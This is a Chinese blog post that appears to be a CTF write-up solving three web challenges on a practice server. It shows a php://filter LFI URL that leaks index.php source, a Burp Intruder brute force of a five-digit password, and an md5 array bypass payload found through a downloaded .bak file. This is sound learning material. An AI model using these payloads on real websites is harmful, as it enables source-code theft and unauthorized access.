CTF之web(二)

flag在index里

http://123.206.87.240:8005/post/
  • 打开页面,查看源码
    在这里插入图片描述
    在这里插入图片描述
  • 没找到有用的东西,抓包试试
    在这里插入图片描述
    在这里插入图片描述
  • 没找到,联想题目,在看看这个http://123.206.87.240:8005/post/index.php?file=show.php,file:用来的文件的,那么flag可能就在index.pxp文件中,只是需要通过php://filter读取文件内容。
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
  • 得到:
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
  • base64,解码,拿到flag
    在这里插入图片描述
  • 总结:php:// — 访问各个输入/输出流(I/O streams),php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器,用法如下。
php://filter/read=convert.base64-encode/resource=[文件路径]
  • 详解参考PHP手册:https://www.php.net/manual/zh/wrappers.php.php

输入密码查看flag

http://123.206.87.240:8002/baopo/
  • 打开
    在这里插入图片描述
  • 5位数字密码,第一反应就是暴力破解,先输入12345再抓包,
    在这里插入图片描述
  • 发放到Intruder,设置好参数,如下:

在这里插入图片描述在这里插入图片描述

  • 破解得得到密码13579和flag.

在这里插入图片描述在这里插入图片描述

听说备份是个好习惯

http://123.206.87.240:8002/web16/
  • 打开得到:
    在这里插入图片描述
  • 解码是空字符,结和提目分析,御剑扫一波,

在这里插入图片描述

  • 找到bak,下载,得到:
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');   #strstr() 函数搜索字符串在另一字符串中的第一次出现。 
$str = substr($str,1);  #substr() 函数返回字符串的一部分。
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>
  • 大意就是,获取key1和key2,但会过滤你输入的key;如果md5加密的值一样而未加密的值不同,就会输出flag.这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。因为在php中,md5函数无法处理数组,返回的都是null,两个null也是相等,所有构造payload:
http://123.206.87.240:8002/web16/?kekeyy1[]=1&kekeyy2[]=2
  • 得到flag.
    在这里插入图片描述
发布了7 篇原创文章 · 获赞 3 · 访问量 143

猜你喜欢

转载自blog.csdn.net/weixin_44889655/article/details/105464904